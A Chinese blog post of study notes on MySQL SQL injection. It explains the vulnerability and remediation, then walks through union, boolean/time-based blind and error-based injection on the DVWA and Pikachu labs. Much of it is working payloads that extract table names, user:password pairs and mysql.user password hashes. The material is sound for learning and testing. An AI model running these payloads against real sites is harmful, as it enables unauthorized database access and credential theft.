SQL注入学习【上】

本文介绍了SQL注入的概念,包括漏洞描述、测试方法和修复策略。强调了参数化查询和输入验证的重要性,并提供了MySQL注入的示例。还详细讲解了联合查询、布尔型盲注入和报错注入的原理及利用思路,展示了如何判断和利用SQL注入漏洞。
摘要由CSDN通过智能技术生成

学习SQL注入时的笔记内容和简单的实操案例。跟着视频课程以及网上的资料学的,跟大家相互分享一下,不足的地方以及有补充的地方欢迎评论哈!笔记是记在有道云里面,导出来莫名其妙把之前标记的地方全统一格式了,稍微简单加粗了一点......蓝瘦~

1.SQL注入漏洞

漏洞描述:

Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。

测试方法:

在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用,也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、 and 1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检测了!

修复意见:

代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御sql 注入的最佳方法。

( 1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。

( 2 )对进入数据库的特殊字符( ' <>&*; 等)进行转义处理,或编码转换。

( 3 )确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。

( 4 )数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。

( 5 )网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。

( 6 )严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

( 7 )避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

1.1与mysql注入相关的知识

BP安装sqlmap插件

Extender--->BAPP Store--->选择CO2,然后进行install

安装完成之后,随意抓包,然后将数据包发送到SQL Mapper当中

然后我们在SQL Map当中进行sqlmap和python环境的相关配置。

到此完成所有配置。

在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema 里面 这个库里面有很多表 重点是这三个表 columns 、tables、SCHEMATA 表字段 CHEMA_NAME 记录着库的信息

1.2SQL注入原理

SQL注入产生需要满足的两个条件:

1.参数用户可控:从前端给后端的参数内容是用户可以控制的

2.参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

当用户传入参数为 1'的时候,在数据库执行如下所示。

select * from users where id=1'

此 SQL 语句不符合语法规则就会报错。

当用户传入参数为 1 and 1=1 时【正确,返回1】

select * from users where id=1 and 1=1

因为 1=1 为真 id=1 也是真 and 两边均为真 所以页面会返回 id=1 的结果。

如果用户传入参数为 1 and 1=2 时【报错,返回0】

因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的结果。

由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句,

进行攻击,致使信息泄露,甚至获取服务器权限。

1.3判断是否存在注入

回显是指页面有数据 信息返回

id =1 and 1=1

id = 1 and 1=2

id = 1 or 1=1

id = '1' or '1'='1'

id=" 1 "or "1"="1"

无回显是指 根据输入的语句 页面没有任何变化,或者没有数据库中的内容显示到网页中。可以使用延时的方法进行判断【例如:sleep(5)】

1.4. 三种 sql 注释符

# 单行注释 注意与 url 中的#区分,常编码为%23

--空格 单行注释 注意为短线短线空格

/*()*/ 多行注释 至少存在俩处的注入 /**/常用来作为空格

1.5. 注入流程

1.6.SQL注入分类

SQL 注入分类:按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:

UNION query SQL injection(可联合查询注入)

Stacked queries SQL injection(可多语句查询注入)堆叠查询

Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

Time-based blind SQL injection(基于时间延迟注入)

1.7.SQL注入常规利用思路

1、寻找注入点,可以通过 web 扫描工具实现

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

3.1 还可以获取数据库的 root 账号 密码—思路

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息

1.8.SQL注入详细过程

输入vince会返回相关信息,vince很显然是一串字符,那么我们尝试使用字符串闭合的方式来进行一个注入

vince" and 1=1# 失败

vince‘ and 1=1# 成功

这里是一个单引号闭合的情况,接下来咱进行字段数的判断,使用order by 语句进行判断

vince' order by 3# 报错

vince' order by 2# 正常

说明此处拥有两个字段数。欧克,接下来就是进行数据爆破的狠活了。

payload:

-asdf' union select 1,group_concat(table_name) from information_schema.tables where table_schema="pikachu"#

补充:

为什么输入"-asdf"?因为一般情况页面只显示查询到数据的那一行,如果union前面的查询语句生效,那么后面的select语句查询的内容就不会再显示了,所以我们得让前面的select查询不到数据。

1.9.union联合注入原理

关键词:union select

联合查询要确保两个select查询的字段数一致,否则会报错。

SELECT * FROM users WHERE user_id=1 union select * from 1,2,3,4,5,6,7,8

在黑盒的情况下是不知道当前库有什么表的,可以通过 mysql 自带的information_schema 查询当前库的表。

查询当前库的表 limit 1 相当于 limit 0,1 表示从0(第一个)开始,查询第一个。limit 1,1则表示从第二个开始,查询第一个。

如此类推

第一个表

(select table_name from information_schema.tables where table_schema=database() limit 1);

(select table_name from information_schema.tables where table_schema=database() limit 0,1);

第二个表

(select table_name from information_schema.tables where table_schema=database() limit 1,1);

1.10.boolean 布尔型盲注入

输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注入漏洞 1'and '1'='1 一样 1'and '1'='2 不一样,如果输入检测语句页面没有任何改变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时返回的意思 以秒为单位 sleep(5) 即延时5秒执行

1' and if(1=1,sleep(5),0)#

1.10.1. 布尔型盲注入获取数据库敏感信息

在黑盒的环境下,通过构造 SQL 注入语句,根据页面的特征确定获取敏感信息。

布尔型盲注入用到的函数

substring()字符串截取,第一个参数是字符串,第二个参数是开始截取 第三个是截取的长度。

select * from users where user_id=1 and if(substring(database(),1,1)='d',sleep(5),0)

接着再用 if 函数进行构造 select if(SUBSTRING(database(),1,1)='d',1,0) 判断数据库第一个字是不是字符 d,如果是返回 1 否则返回 0。后面就以此类推就好。

1.10.2.布尔型盲注入查询长度

要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比。【length()函数】

select length(database()) 查询当前数据库的长度

select if(length(database())>1,1,0) 判断数据库长度是否大于1,是的话返回1,不是的话返回0

1' and if(length(database())=4,sleep(5),0)#

使用布尔盲注与BP配合获取数据【Cluster boomb模式】

DVWA中的盲注题目

1.获取数据库相关的信息

payload:1' and if(substring(database(),1,1)='d',1,0)#

2.获取表的名称

payload:1'and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)#

添加三个变量,确保一次性跑出所有有效的表信息。

3.获取表中的字段信息

payload:

1'and if(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='u',1,0)#

数据库查询语言:select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';

4.最后获取账号和密码

payload:1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 0,1),1,1)='a',1,0)#

数据库查询语言:select group_concat(user,0x3a,password) from users limit 1;

第一条数据是这个:admin:5f4dcc3b5aa765d61d8327deb882cf99

对照一下,可以的!直接爆破出来咯!

1.11.报错注入

数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息。

判断是否存在报错注入输入单引号如果报错有可能存在报错注入,如果拼接SQL 语句带入到 mysql 执行即存在报错注入。【输入单引号,页面返回报错信息】

测试语句:select (updatexml(1,concat(0x7e,(select user())),0));【在终端利用报错进行测试】

payload:' and (updatexml(1,concat(0x7e,(select database())),0))#【爆出数据库名】

但是采用 updatexml 报错函数 只能显示 32 长度的内容,如果获取的内容超过 32字符就要采用字符串截取方法。每次获取 32 个字符串的长度。除了 updatexml 函数支持报错注入外,mysql 还有很多函数支持报错。

常用的如下:

1.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

1.11.1.黑盒模式下的报错注入

在黑盒模式下的报错注入 首先获取当前库,通过库获取表名,接着通过表名获取字段,最后获取字段内容。

获取账号和密码需要 root 用户才有足够大的权限

1.select authentication_string from mysql.user limit 1;【直接查询数据库密码,密码由mysql5加密】

2.select(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1))【报错注入查询密码,由于最大32位长度,所以只能显示一部分】

补充:因为updatexml最大显示32位,该函数中包含一个0x7e,所以实际查询数据31位。

3.select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1))【接着未查询到的地方进行查询】

1.获取数据库名

' and (updatexml(1,concat(0x7e,(select database())),0))#

2.报错注入获取表名

通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名采用 floor 报错并不会存在长度问题

1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

【标记处改成1就可以查询下一个表名】

3.获取字段信息

在获取表名之后就可以获取字段名,如获取 usrs 的字段名获取第一个字段名

1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

BP组合拳:

Intruder——>options——>Grep-Extract

4.获取字段内容信息

现在已经获取 users 表的名字和它的字段名,接下来可以对内容进行查询。

1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值